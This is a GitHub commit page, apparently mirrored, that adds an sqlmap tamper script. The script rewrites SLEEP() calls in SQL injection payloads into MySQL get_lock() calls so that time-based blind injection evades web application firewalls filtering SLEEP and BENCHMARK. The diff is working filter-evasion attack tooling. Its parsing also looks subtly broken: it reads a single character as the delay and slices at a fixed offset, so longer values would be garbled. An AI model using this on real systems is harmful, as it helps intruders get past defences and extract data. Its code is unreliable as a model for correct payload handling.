Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit e0ea1ab

Browse files
antichownstamparm
andauthored
new tamper script (#4344)
* new tamper script works with time-based queries * Update sleepgetlock.py Co-authored-by: Miroslav Stampar <[email protected]>
1 parent 192ca02 commit e0ea1ab

1 file changed

Lines changed: 46 additions & 0 deletions

File tree

tamper/sleepgetlock.py

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
from lib.core.enums import PRIORITY
9+
10+
__priority__ = PRIORITY.HIGHEST
11+
12+
def dependencies():
13+
pass
14+
15+
def tamper(payload, **kwargs):
16+
"""
17+
Replaces instances like 'SLEEP(x)' with "get_lock('sqlmap',x)"
18+
19+
Requirement:
20+
* MySQL
21+
22+
Tested against:
23+
* MySQL 5.0 and 5.5
24+
25+
Notes:
26+
* Useful to bypass very weak and bespoke web application firewalls
27+
that filter the SLEEP() and BENCHMARK() functions
28+
29+
* Reference: https://zhuanlan.zhihu.com/p/35245598
30+
31+
>>> tamper('SLEEP(2)')
32+
"get_lock('sqlmap',2)"
33+
"""
34+
35+
if payload and payload.find("SLEEP") > -1:
36+
while payload.find("SLEEP(") > -1:
37+
index = payload.find("SLEEP(")
38+
depth = 1
39+
40+
num = payload[index+6]
41+
42+
newVal = "get_lock('sqlmap',%s)" % (num)
43+
payload = payload[:index] + newVal + payload[index+8:]
44+
45+
46+
return payload

0 commit comments

Comments
 (0)